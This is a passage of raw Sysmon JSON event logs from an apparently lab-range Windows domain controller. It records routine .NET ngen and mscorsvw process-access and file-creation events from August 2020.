12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001088C90D00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001088C90D00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001088C90D00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001088C90D00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:21.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001088C90D00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:21.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001088C90D00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:22.760\r\nProcessGuid: {90617006-42CD-5F2D-0000-001088C90D00}\r\nProcessId: 2836\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b14-0\\System.ComponentModel.Composition.dll\r\nCreationUtcTime: 2020-08-07 12:02:22.760","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:22.760","ProcessGuid":"{90617006-42CD-5F2D-0000-001088C90D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b14-0\\System.ComponentModel.Composition.dll","CreationUtcTime":"2020-08-07 12:02:22.760","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.807\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-001072CD0D00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:22.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-001072CD0D00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:22","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:22.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-001072CD0D00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 